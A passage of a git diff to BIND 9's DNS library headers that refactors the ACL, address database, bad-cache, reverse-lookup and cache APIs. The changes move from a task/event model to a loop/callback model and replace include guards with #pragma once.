-	char *		  name;		 /*%< Temporary use only */
+	char		 *name;		 /*%< Temporary use only */
 	ISC_LINK(dns_acl_t) nextincache; /*%< Ditto */
+	ISC_LIST(dns_acl_port_transports_t) ports_and_transports;
+	size_t port_proto_entries;
 };
 
 struct dns_aclenv {
 	unsigned int   magic;
-	isc_mem_t *    mctx;
+	isc_mem_t     *mctx;
 	isc_refcount_t references;
-	dns_acl_t *    localhost;
-	dns_acl_t *    localnets;
-	bool	       match_mapped;
+
+	isc_rwlock_t rwlock; /*%< Locks localhost and localnets */
+	dns_acl_t   *localhost;
+	dns_acl_t   *localnets;
+
+	bool match_mapped;
 #if defined(HAVE_GEOIP2)
 	dns_geoip_databases_t *geoip;
 #endif /* HAVE_GEOIP2 */
@@ -208,6 +221,12 @@ dns_aclenv_copy(dns_aclenv_t *t, dns_aclenv_t *s);
  *\li	both 's' and 't' are valid ACL environments.
  */
 
+void
+dns_aclenv_set(dns_aclenv_t *env, dns_acl_t *localhost, dns_acl_t *localnets);
+/*%<
+ * Attach the 'localhost' and 'localnets' arguments to 'env' ACL environment
+ */
+
 void
 dns_aclenv_attach(dns_aclenv_t *source, dns_aclenv_t **targetp);
 /*%<
@@ -229,7 +248,7 @@ dns_aclenv_detach(dns_aclenv_t **aclenvp);
 
 isc_result_t
 dns_acl_match(const isc_netaddr_t *reqaddr, const dns_name_t *reqsigner,
-	      const dns_acl_t *acl, const dns_aclenv_t *env, int *match,
+	      const dns_acl_t *acl, dns_aclenv_t *env, int *match,
 	      const dns_aclelement_t **matchelt);
 /*%<
  * General, low-level ACL matching.  This is expected to
@@ -259,7 +278,7 @@ dns_acl_match(const isc_netaddr_t *reqaddr, const dns_name_t *reqsigner,
 
 bool
 dns_aclelement_match(const isc_netaddr_t *reqaddr, const dns_name_t *reqsigner,
-		     const dns_aclelement_t *e, const dns_aclenv_t *env,
+		     const dns_aclelement_t *e, dns_aclenv_t *env,
 		     const dns_aclelement_t **matchelt);
 /*%<
  * Like dns_acl_match, but matches against the single ACL element 'e'
@@ -271,6 +290,46 @@ dns_aclelement_match(const isc_netaddr_t *reqaddr, const dns_name_t *reqsigner,
  * returned through 'matchelt' is not necessarily 'e' itself.
  */
 
-ISC_LANG_ENDDECLS
+isc_result_t
+dns_acl_match_port_transport(const isc_netaddr_t      *reqaddr,
+			     const in_port_t	       local_port,
+			     const isc_nmsocket_type_t transport,
+			     const bool encrypted, const dns_name_t *reqsigner,
+			     const dns_acl_t *acl, dns_aclenv_t *env,
+			     int *match, const dns_aclelement_t **matchelt);
+/*%<
+ * Like dns_acl_match, but able to match the server port and
+ * transport, as well as encryption status.
+ *
+ * Requires:
+ *\li		'reqaddr' is not 'NULL';
+ *\li		'acl' is a valid ACL object.
+ */
 
-#endif /* DNS_ACL_H */
+void
+dns_acl_add_port_transports(dns_acl_t *acl, const in_port_t port,
+			    const uint32_t transports, const bool encrypted,
+			    const bool negative);
+/*%<
+ * Adds a "port-transports" entry to the specified ACL. Transports
+ * are specified as a bit-set 'transports' consisting of entries
+ * defined in the isc_nmsocket_type enumeration.
+ *
+ * Requires:
+ *\li		'acl' is a valid ACL object;
+ *\li		either 'port' or 'transports' is not equal to 0.
+ */
+
+void
+dns_acl_merge_ports_transports(dns_acl_t *dest, dns_acl_t *source, bool pos);
+/*%<
+ * Merges "port-transports" entries from the 'dest' ACL into
+ * the 'source' ACL. The 'pos' parameter works in a way similar to
+ * 'dns_acl_merge()'.
+ *
+ * Requires:
+ *\li		'dest' is a valid ACL object;
+ *\li		'source' is a valid ACL object.
+ */
+
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/adb.h b/lib/dns/include/dns/adb.h
index 44abefa0ae..f7dee889e1 100644
--- a/lib/dns/include/dns/adb.h
+++ b/lib/dns/include/dns/adb.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_ADB_H
-#define DNS_ADB_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -65,12 +66,16 @@
  *** Imports
  ***/
 
+/* Define to 1 for detailed reference tracing */
+#undef DNS_ADB_TRACE
+
 #include <inttypes.h>
 #include <stdbool.h>
 
 #include <isc/lang.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
+#include <isc/mutex.h>
 #include <isc/sockaddr.h>
 
 #include <dns/types.h>
@@ -93,6 +98,15 @@ ISC_LANG_BEGINDECLS
 
 typedef struct dns_adbname dns_adbname_t;
 
+typedef enum {
+	DNS_ADB_UNSET = 0,
+	DNS_ADB_MOREADDRESSES,
+	DNS_ADB_NOMOREADDRESSES,
+	DNS_ADB_EXPIRED,
+	DNS_ADB_CANCELED,
+	DNS_ADB_SHUTTINGDOWN
+} dns_adbstatus_t;
+
 /*!
  *\brief
  * Represents a lookup for a single name.
@@ -113,13 +127,15 @@ struct dns_adbfind {
 	ISC_LINK(dns_adbfind_t) publink;      /*%< RW: client use */
 
 	/* Private */
-	isc_mutex_t    lock; /* locks all below */
-	in_port_t      port;
-	int	       name_bucket;
-	unsigned int   flags;
-	dns_adbname_t *adbname;
-	dns_adb_t *    adb;
-	isc_event_t    event;
+	isc_mutex_t	lock; /* locks all below */
+	in_port_t	port;
+	unsigned int	flags;
+	dns_adbname_t  *adbname;
+	dns_adb_t      *adb;
+	isc_loop_t     *loop;
+	dns_adbstatus_t status;
+	isc_job_cb	cb;
+	void	       *cbarg;
 	ISC_LINK(dns_adbfind_t) plink;
 };
 
@@ -144,11 +160,6 @@ struct dns_adbfind {
  *	Fetches will start using the closest zone data or use the root servers.
  *	This is useful for reestablishing glue that has expired.
  *
- * _GLUEOK:
- * _HINTOK:
- *	Glue or hints are ok.  These are used when matching names already
- *	in the adb, and when dns databases are searched.
- *
  * _RETURNLAME:
  *	Return lame servers in a find, so that all addresses are returned.
  *
@@ -181,16 +192,6 @@ struct dns_adbfind {
  *	This is useful for reestablishing glue that has expired.
  */
 #define DNS_ADBFIND_STARTATZONE 0x00000020
-/*%
- *	Glue or hints are ok.  These are used when matching names already
- *	in the adb, and when dns databases are searched.
- */
-#define DNS_ADBFIND_GLUEOK 0x00000040
-/*%
- *	Glue or hints are ok.  These are used when matching names already
- *	in the adb, and when dns databases are searched.
- */
-#define DNS_ADBFIND_HINTOK 0x00000080
 /*%
  *	Return lame servers in a find, so that all addresses are returned.
  */
@@ -216,9 +217,9 @@ struct dns_adbfind {
 struct dns_adbaddrinfo {
 	unsigned int magic; /*%< private */
 
-	isc_sockaddr_t sockaddr; /*%< [rw] */
-	unsigned int   srtt;	 /*%< [rw] microsecs */
-	isc_dscp_t     dscp;
+	isc_sockaddr_t	 sockaddr; /*%< [rw] */
+	unsigned int	 srtt;	   /*%< [rw] microsecs */
+	dns_transport_t *transport;
 
 	unsigned int	flags; /*%< [rw] */
 	dns_adbentry_t *entry; /*%< private */
@@ -226,23 +227,20 @@ struct dns_adbaddrinfo {
 };
 
 /*!<
- * The event sent to the caller task is just a plain old isc_event_t.  It
- * contains no data other than a simple status, passed in the "type" field
- * to indicate that another address resolved, or all partially resolved
- * addresses have failed to resolve.
- *
- * "sender" is the dns_adbfind_t used to issue this query.
- *
- * This is simply a standard event, with the "type" set to:
- *
- *\li	#DNS_EVENT_ADBMOREADDRESSES   -- another address resolved.
- *\li	#DNS_EVENT_ADBNOMOREADDRESSES -- all pending addresses failed,
- *					were canceled, or otherwise will
- *					not be usable.
- *\li	#DNS_EVENT_ADBCANCELED	     -- The request was canceled by a
- *					3rd party.
- *\li	#DNS_EVENT_ADBNAMEDELETED     -- The name was deleted, so this request
- *					was canceled.
+ * When the caller recieves a callback from dns_adb_createfind(), the
+ * argument will a pointer to the dns_adbfind_t structure, which includes
+ * this includes a copy of the callback function and argument passed to
+ * dns_adb_createfind(), and a dns_adbstatus_t in the 'status' field,
+ * which indicates one of the following:
+ *
+ *\li	#DNS_ADB_MOREADDRESSES   -- another address resolved.
+ *\li	#DNS_ADB_NOMOREADDRESSES -- all pending addresses failed,
+ *				    were canceled, or otherwise will
+ *				    not be usable.
+ *\li	#DNS_ADB_CANCELED	 -- The request was canceled by a
+ *				    3rd party.
+ *\li	#DNS_ADB_EXPIRED	 -- The name was expired, so this request
+ *				    was canceled.
  *
  * In each of these cases, the addresses returned by the initial call
  * to dns_adb_createfind() can still be used until they are no longer needed.
@@ -252,9 +250,9 @@ struct dns_adbaddrinfo {
 **** FUNCTIONS
 ****/
 
-isc_result_t
-dns_adb_create(isc_mem_t *mem, dns_view_t *view, isc_timermgr_t *tmgr,
-	       isc_taskmgr_t *taskmgr, dns_adb_t **newadb);
+void
+dns_adb_create(isc_mem_t *mem, dns_view_t *view, isc_loopmgr_t *loopmgr,
+	       dns_adb_t **newadb);
 /*%<
  * Create a new ADB.
  *
@@ -269,58 +267,21 @@ dns_adb_create(isc_mem_t *mem, dns_view_t *view, isc_timermgr_t *tmgr,
  *
  *\li	'view' be a pointer to a valid view.
  *
- *\li	'tmgr' be a pointer to a valid timer manager.
- *
- *\li	'taskmgr' be a pointer to a valid task manager.
+ *\li	'loopmgr' be a valid loop manager.
  *
  *\li	'newadb' != NULL && '*newadb' == NULL.
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS	after happiness.
- *\li	#ISC_R_NOMEMORY	after resource allocation failure.
  */
 
-void
-dns_adb_attach(dns_adb_t *adb, dns_adb_t **adbp);
-/*%
- * Attach to an 'adb' to 'adbp'.
- *
- * Requires:
- *\li	'adb' to be a valid dns_adb_t, created via dns_adb_create().
- *\li	'adbp' to be a valid pointer to a *dns_adb_t which is initialized
- *	to NULL.
- */
-
-void
-dns_adb_detach(dns_adb_t **adb);
-/*%
- * Delete the ADB. Sets *ADB to NULL. Cancels any outstanding requests.
- *
- * Requires:
- *
- *\li	'adb' be non-NULL and '*adb' be a valid dns_adb_t, created via
- *	dns_adb_create().
- */
-
-void
-dns_adb_whenshutdown(dns_adb_t *adb, isc_task_t *task, isc_event_t **eventp);
-/*%
- * Send '*eventp' to 'task' when 'adb' has shutdown.
- *
- * Requires:
- *
- *\li	'*adb' is a valid dns_adb_t.
- *
- *\li	eventp != NULL && *eventp is a valid event.
- *
- * Ensures:
- *
- *\li	*eventp == NULL
- *
- *\li	The event's sender field is set to the value of adb when the event
- *	is sent.
- */
+#if DNS_ADB_TRACE
+#define dns_adb_ref(ptr)   dns_adb__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_adb_unref(ptr) dns_adb__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_adb_attach(ptr, ptrp) \
+	dns_adb__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_adb_detach(ptrp) dns_adb__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_adb);
+#else
+ISC_REFCOUNT_DECL(dns_adb);
+#endif
 
 void
 dns_adb_shutdown(dns_adb_t *adb);
@@ -333,8 +294,8 @@ dns_adb_shutdown(dns_adb_t *adb);
  */
 
 isc_result_t
-dns_adb_createfind(dns_adb_t *adb, isc_task_t *task, isc_taskaction_t action,
-		   void *arg, const dns_name_t *name, const dns_name_t *qname,
+dns_adb_createfind(dns_adb_t *adb, isc_loop_t *loop, isc_job_cb cb, void *cbarg,
+		   const dns_name_t *name, const dns_name_t *qname,
 		   dns_rdatatype_t qtype, unsigned int options,
 		   isc_stdtime_t now, dns_name_t *target, in_port_t port,
 		   unsigned int depth, isc_counter_t *qc, dns_adbfind_t **find);
@@ -343,9 +304,10 @@ dns_adb_createfind(dns_adb_t *adb, isc_task_t *task, isc_taskaction_t action,
  * "name" and will build up a list of found addresses, and perhaps start
  * internal fetches to resolve names that are unknown currently.
  *
- * If other addresses resolve after this call completes, an event will
- * be sent to the <task, taskaction, arg> with the sender of that event
- * set to a pointer to the dns_adbfind_t returned by this function.
+ * If other addresses resolve after this call completes, the 'cb' callback
+ * will be called with a pointer to the dns_adbfind_t returned by this
+ * structure, which in turn has a pointer to the callback argument passed
+ * in as 'cbarg'. The caller is responsible for freeing the find object.
  *
  * If no events will be generated, the *find->result_v4 and/or result_v6
  * members may be examined for address lookup status.  The usual #ISC_R_SUCCESS,
@@ -378,15 +340,12 @@ dns_adb_createfind(dns_adb_t *adb, isc_task_t *task, isc_taskaction_t action,
  * The caller may change them directly in the dns_adbaddrinfo_t since
  * they are copies of the internal address only.
  *
- * XXXMLG  Document options, especially the flags which control how
- *         events are sent.
- *
  * Requires:
  *
  *\li	*adb be a valid isc_adb_t object.
  *
- *\li	If events are to be sent, *task be a valid task,
- *	and isc_taskaction_t != NULL.
+ *\li	If events are to be sent, *loop be a valid loop,
+ *	and cb != NULL.
  *
  *\li	*name is a valid dns_name_t.
  *
@@ -406,10 +365,6 @@ dns_adb_createfind(dns_adb_t *adb, isc_task_t *task, isc_taskaction_t action,
  *\li	#ISC_R_NOMEMORY	insufficient resources
  *\li	#DNS_R_ALIAS	'name' is an alias for another name.
  *
- * Calls, and returns error codes from:
- *
- *\li	isc_stdtime_get()
- *
  * Notes:
  *
  *\li	No internal reference to "name" exists after this function
@@ -444,6 +399,16 @@ dns_adb_cancelfind(dns_adbfind_t *find);
  *\li	The event was posted to the task.
  */
 
+void
+dns_adbfind_done(dns_adbfind_t find);
+/*%<
+ * Marks a find as ready to free.
+ *
+ * Requires:
+ *
+ *\li	'find' != NULL and *find be valid dns_adbfind_t pointer.
+ */
+
 void
 dns_adb_destroyfind(dns_adbfind_t **find);
 /*%<
@@ -452,8 +417,7 @@ dns_adb_destroyfind(dns_adbfind_t **find);
  * Note:
  *
  *\li	This can only be called after the event was delivered for a
- *	find.  Additionally, the event MUST have been freed via
- *	isc_event_free() BEFORE this function is called.
+ *	find.
  *
  * Requires:
  *
@@ -468,29 +432,15 @@ dns_adb_destroyfind(dns_adbfind_t **find);
 void
 dns_adb_dump(dns_adb_t *adb, FILE *f);
 /*%<
- * This function is only used for debugging.  It will dump as much of the
- * state of the running system as possible.
+ * Used by "rndc dumpdb": Dump the state of the running ADB.
  *
  * Requires:
  *
- *\li	adb be valid.
+ *\li	adb is valid.
  *
  *\li	f != NULL, and is a file open for writing.
  */
 
-void
-dns_adb_dumpfind(dns_adbfind_t *find, FILE *f);
-/*%<
- * This function is only used for debugging.  Dump the data associated
- * with a find.
- *
- * Requires:
- *
- *\li	find is valid.
- *
- * \li	f != NULL, and is a file open for writing.
- */
-
 isc_result_t
 dns_adb_marklame(dns_adb_t *adb, dns_adbaddrinfo_t *addr,
 		 const dns_name_t *qname, dns_rdatatype_t type,
@@ -729,19 +679,17 @@ dns_adb_setcookie(dns_adb_t *adb, dns_adbaddrinfo_t *addr,
  */
 
 size_t
-dns_adb_getcookie(dns_adb_t *adb, dns_adbaddrinfo_t *addr,
-		  unsigned char *cookie, size_t len);
+dns_adb_getcookie(dns_adbaddrinfo_t *addr, unsigned char *cookie, size_t len);
 /*
- * Retrieve the saved COOKIE value and store it in 'cookie' which has
- * size 'len'.
+ * If 'cookie' is not NULL, then retrieve the saved COOKIE value and store it
+ * in 'cookie' which has size 'len'.
  *
  * Requires:
- *\li	'adb' is valid.
  *\li	'addr' is valid.
  *
  * Returns:
- *	The size of the cookie or zero if it doesn't fit in the buffer
- *	or it doesn't exist.
+ *	The size of the cookie or zero if it doesn't exist, or when 'cookie' is
+ *      not NULL and it doesn't fit in the buffer.
  */
 
 void
@@ -776,8 +724,22 @@ dns_adb_setquota(dns_adb_t *adb, uint32_t quota, uint32_t freq, double low,
  *\li	'adb' is valid.
  */
 
+void
+dns_adb_getquota(dns_adb_t *adb, uint32_t *quotap, uint32_t *freqp,
+		 double *lowp, double *highp, double *discountp);
+/*%<
+ * Get the quota values set by dns_adb_setquota().
+ * If any of the 'quotap', 'freqp', 'lowp', 'highp', and
+ * 'discountp' parameters are non-NULL, then the memory they
+ * point to will be updated to hold the corresponding quota
+ * or parameter value.
+ *
+ * Requires:
+ *\li	'adb' is valid.
+ */
+
 bool
-dns_adbentry_overquota(dns_adbentry_t *entry);
+dns_adb_overquota(dns_adb_t *adb, dns_adbaddrinfo_t *addr);
 /*%<
  * Returns true if the specified ADB has too many active fetches.
  *
@@ -802,6 +764,24 @@ dns_adb_endudpfetch(dns_adb_t *adb, dns_adbaddrinfo_t *addr);
  *\li	addr be valid.
  */
 
-ISC_LANG_ENDDECLS
+isc_stats_t *
+dns_adb_getstats(dns_adb_t *adb);
+/*%<
+ * Get the adb statistics counter set for 'adb'.
+ *
+ * Requires:
+ * \li 'adb' is valid.
+ */
 
-#endif /* DNS_ADB_H */
+isc_result_t
+dns_adb_dumpquota(dns_adb_t *adb, isc_buffer_t **buf);
+/*%
+ * Dump the addresses, current quota values, and current ATR values
+ * for all servers that are currently being fetchlimited. Servers
+ * for which the quota is still equal to the default and the ATR
+ * is zero are not printed.
+ *
+ * Requires:
+ * \li 'adb' is valid.
+ */
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/badcache.h b/lib/dns/include/dns/badcache.h
index 305588b014..03eb2ec3b9 100644
--- a/lib/dns/include/dns/badcache.h
+++ b/lib/dns/include/dns/badcache.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_BADCACHE_H
-#define DNS_BADCACHE_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -44,6 +45,9 @@
 #include <inttypes.h>
 #include <stdbool.h>
 
+#include <isc/mem.h>
+#include <isc/stdtime.h>
+
 #include <dns/types.h>
 
 ISC_LANG_BEGINDECLS
@@ -52,8 +56,8 @@ ISC_LANG_BEGINDECLS
  ***	Functions
  ***/
 
-isc_result_t
-dns_badcache_init(isc_mem_t *mctx, unsigned int size, dns_badcache_t **bcp);
+dns_badcache_t *
+dns_badcache_new(isc_mem_t *mctx);
 /*%
  * Allocate and initialize a badcache and store it in '*bcp'.
  *
@@ -75,7 +79,7 @@ dns_badcache_destroy(dns_badcache_t **bcp);
 void
 dns_badcache_add(dns_badcache_t *bc, const dns_name_t *name,
 		 dns_rdatatype_t type, bool update, uint32_t flags,
-		 isc_time_t *expire);
+		 isc_stdtime_t expire);
 /*%
  * Adds a badcache entry to the badcache 'bc' for name 'name' and
  * type 'type'.  If an entry already exists, then it will be updated if
@@ -88,14 +92,14 @@ dns_badcache_add(dns_badcache_t *bc, const dns_name_t *name,
  * \li	expire != NULL
  */
 
-bool
+isc_result_t
 dns_badcache_find(dns_badcache_t *bc, const dns_name_t *name,
-		  dns_rdatatype_t type, uint32_t *flagp, isc_time_t *now);
+		  dns_rdatatype_t type, uint32_t *flagp, isc_stdtime_t now);
 /*%
- * Returns true if a record is found in the badcache 'bc' matching
+ * Returns ISC_R_SUCCESS if a record is found in the badcache 'bc' matching
  * 'name' and 'type', with an expiration date later than 'now'.
  * If 'flagp' is not NULL, then '*flagp' is updated to the flags
- * that were stored in the badcache entry.  Returns false if
+ * that were stored in the badcache entry.  Returns ISC_R_NOTFOUND if
  * no matching record is found.
  *
  * Requires:
@@ -146,5 +150,3 @@ dns_badcache_print(dns_badcache_t *bc, const char *cachename, FILE *fp);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_BADCACHE_H */
diff --git a/lib/dns/include/dns/bit.h b/lib/dns/include/dns/bit.h
index 63da46243b..dc7c195872 100644
--- a/lib/dns/include/dns/bit.h
+++ b/lib/dns/include/dns/bit.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_BIT_H
-#define DNS_BIT_H 1
+#pragma once
 
 /*! \file dns/bit.h */
 
@@ -22,5 +23,3 @@ typedef uint64_t dns_bitset_t;
 #define DNS_BIT_CLEAR(bit, bitset) (*(bitset) &= ~((dns_bitset_t)1 << (bit)))
 #define DNS_BIT_CHECK(bit, bitset) \
 	((*(bitset) & ((dns_bitset_t)1 << (bit))) == ((dns_bitset_t)1 << (bit)))
-
-#endif /* DNS_BIT_H */
diff --git a/lib/dns/include/dns/byaddr.h b/lib/dns/include/dns/byaddr.h
index 8d9998c2f8..718221f084 100644
--- a/lib/dns/include/dns/byaddr.h
+++ b/lib/dns/include/dns/byaddr.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_BYADDR_H
-#define DNS_BYADDR_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -39,105 +40,16 @@
  *\li	Drafts:	TBS
  */
 
-#include <isc/event.h>
 #include <isc/lang.h>
 
 #include <dns/types.h>
 
 ISC_LANG_BEGINDECLS
 
-/*%
- * A 'dns_byaddrevent_t' is returned when a byaddr completes.
- * The sender field will be set to the byaddr that completed.  If 'result'
- * is ISC_R_SUCCESS, then 'names' will contain a list of names associated
- * with the address.  The recipient of the event must not change the list
- * and must not refer to any of the name data after the event is freed.
- */
-typedef struct dns_byaddrevent {
-	ISC_EVENT_COMMON(struct dns_byaddrevent);
-	isc_result_t   result;
-	dns_namelist_t names;
-} dns_byaddrevent_t;
-
 isc_result_t
-dns_byaddr_create(isc_mem_t *mctx, const isc_netaddr_t *address,
-		  dns_view_t *view, unsigned int options, isc_task_t *task,
-		  isc_taskaction_t action, void *arg, dns_byaddr_t **byaddrp);
+dns_byaddr_createptrname(const isc_netaddr_t *address, dns_name_t *name);
 /*%<
- * Find the domain name of 'address'.
- *
- * Notes:
- *
- *\li	There is a reverse lookup format for IPv6 addresses, 'nibble'
- *
- *\li	The 'nibble' format for that address is
- *
- * \code
- *   1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f.ip6.arpa.
- * \endcode
- *
- * Requires:
- *
- *\li	'mctx' is a valid mctx.
- *
- *\li	'address' is a valid IPv4 or IPv6 address.
- *
- *\li	'view' is a valid view which has a resolver.
- *
- *\li	'task' is a valid task.
- *
- *\li	byaddrp != NULL && *byaddrp == NULL
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_NOMEMORY
- *
- *\li	Any resolver-related error (e.g. #ISC_R_SHUTTINGDOWN) may also be
- *	returned.
- */
-
-void
-dns_byaddr_cancel(dns_byaddr_t *byaddr);
-/*%<
- * Cancel 'byaddr'.
- *
- * Notes:
- *
- *\li	If 'byaddr' has not completed, post its #DNS_EVENT_BYADDRDONE
- *	event with a result code of #ISC_R_CANCELED.
- *
- * Requires:
- *
- *\li	'byaddr' is a valid byaddr.
- */
-
-void
-dns_byaddr_destroy(dns_byaddr_t **byaddrp);
-/*%<
- * Destroy 'byaddr'.
- *
- * Requires:
- *
- *\li	'*byaddrp' is a valid byaddr.
- *
- *\li	The caller has received the #DNS_EVENT_BYADDRDONE event (either because
- *	the byaddr completed or because dns_byaddr_cancel() was called).
- *
- * Ensures:
- *
- *\li	*byaddrp == NULL.
- */
-
-isc_result_t
-dns_byaddr_createptrname(const isc_netaddr_t *address, unsigned int options,
-			 dns_name_t *name);
-/*%<
- * Creates a name that would be used in a PTR query for this address.  The
- * nibble flag indicates that the 'nibble' format is to be used if an IPv6
- * address is provided, instead of the 'bitstring' format.  Since we dropped
- * the support of the bitstring labels, it is expected that the flag is always
- * set.  'options' are the same as for dns_byaddr_create().
+ * Creates a name that would be used in a PTR query for this address.
  *
  * Requires:
  *
@@ -146,5 +58,3 @@ dns_byaddr_createptrname(const isc_netaddr_t *address, unsigned int options,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_BYADDR_H */
diff --git a/lib/dns/include/dns/cache.h b/lib/dns/include/dns/cache.h
index 22e94da9d5..418975c3ae 100644
--- a/lib/dns/include/dns/cache.h
+++ b/lib/dns/include/dns/cache.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_CACHE_H
-#define DNS_CACHE_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -21,7 +22,7 @@
  * Defines dns_cache_t, the cache object.
  *
  * Notes:
- *\li 	A cache object contains DNS data of a single class.
+ *\li	A cache object contains DNS data of a single class.
  *	Multiple classes will be handled by creating multiple
  *	views, each with a different class and its own cache.
  *
@@ -55,30 +56,16 @@ ISC_LANG_BEGINDECLS
  ***	Functions
  ***/
 isc_result_t
-dns_cache_create(isc_mem_t *cmctx, isc_mem_t *hmctx, isc_taskmgr_t *taskmgr,
-		 isc_timermgr_t *timermgr, dns_rdataclass_t rdclass,
-		 const char *cachename, const char *db_type,
-		 unsigned int db_argc, char **db_argv, dns_cache_t **cachep);
+dns_cache_create(isc_loopmgr_t *loopmgr, dns_rdataclass_t rdclass,
+		 const char *cachename, dns_cache_t **cachep);
 /*%<
  * Create a new DNS cache.
  *
- * dns_cache_create2() will create a named cache.
- *
- * dns_cache_create3() will create a named cache using two separate memory
- * contexts, one for cache data which can be cleaned and a separate one for
- * memory allocated for the heap (which can grow without an upper limit and
- * has no mechanism for shrinking).
- *
- * dns_cache_create() is a backward compatible version that internally
- * specifies an empty cache name and a single memory context.
+ * dns_cache_create() will create a named cache (based on dns_rbtdb).
  *
  * Requires:
  *
- *\li	'cmctx' (and 'hmctx' if applicable) is a valid memory context.
- *
- *\li	'taskmgr' is a valid task manager and 'timermgr' is a valid timer
- * 	manager, or both are NULL.  If NULL, no periodic cleaning of the
- * 	cache will take place.
+ *\li	'loopmgr' is a valid loop manager.
  *
  *\li	'cachename' is a valid string.  This must not be NULL.
  *
@@ -153,69 +140,6 @@ dns_cache_attachdb(dns_cache_t *cache, dns_db_t **dbp);
  *\li	*dbp is attached to the database.
  */
 
-isc_result_t
-dns_cache_setfilename(dns_cache_t *cache, const char *filename);
-/*%<
- * If 'filename' is non-NULL, make the cache persistent.
- * The cache's data will be stored in the given file.
- * If 'filename' is NULL, make the cache non-persistent.
- * Files that are no longer used are not unlinked automatically.
- *
- * Returns:
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_NOMEMORY
- *\li	Various file-related failures
- */
-
-isc_result_t
-dns_cache_load(dns_cache_t *cache);
-/*%<
- * If the cache has a file name, load the cache contents from the file.
- * Previous cache contents are not discarded.
- * If no file name has been set, do nothing and return success.
- *
- * MT:
- *\li	Multiple simultaneous attempts to load or dump the cache
- * 	will be serialized with respect to one another, but
- *	the cache may be read and updated while the dump is
- *	in progress.  Updates performed during loading
- *	may or may not be preserved, and reads may return
- * 	either the old or the newly loaded data.
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS
- *  \li    Various failures depending on the database implementation type
- */
-
-isc_result_t
-dns_cache_dump(dns_cache_t *cache);
-/*%<
- * If the cache has a file name, write the cache contents to disk,
- * overwriting any preexisting file.  If no file name has been set,
- * do nothing and return success.
- *
- * MT:
- *\li	Multiple simultaneous attempts to load or dump the cache
- * 	will be serialized with respect to one another, but
- *	the cache may be read and updated while the dump is
- *	in progress.  Updates performed during the dump may
- * 	or may not be reflected in the dumped file.
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS
- *  \li    Various failures depending on the database implementation type
- */
-
-isc_result_t
-dns_cache_clean(dns_cache_t *cache, isc_stdtime_t now);
-/*%<
- * Force immediate cleaning of the cache, freeing all rdatasets
- * whose TTL has expired as of 'now' and that have no pending
- * references.
- */
-
 const char *
 dns_cache_getname(dns_cache_t *cache);
 /*%<
@@ -354,5 +278,3 @@ dns_cache_renderjson(dns_cache_t *cache, void *cstats0);
 #endif /* HAVE_JSON_C */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_CACHE_H */
diff --git a/lib/dns/include/dns/callbacks.h b/lib/dns/include/dns/callbacks.h
index 6ad980a01d..e908a9f048 100644
--- a/lib/dns/include/dns/callbacks.h
+++ b/lib/dns/include/dns/callbacks.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_CALLBACKS_H
-#define DNS_CALLBACKS_H 1
+#pragma once
 
 /*! \file dns/callbacks.h */
 
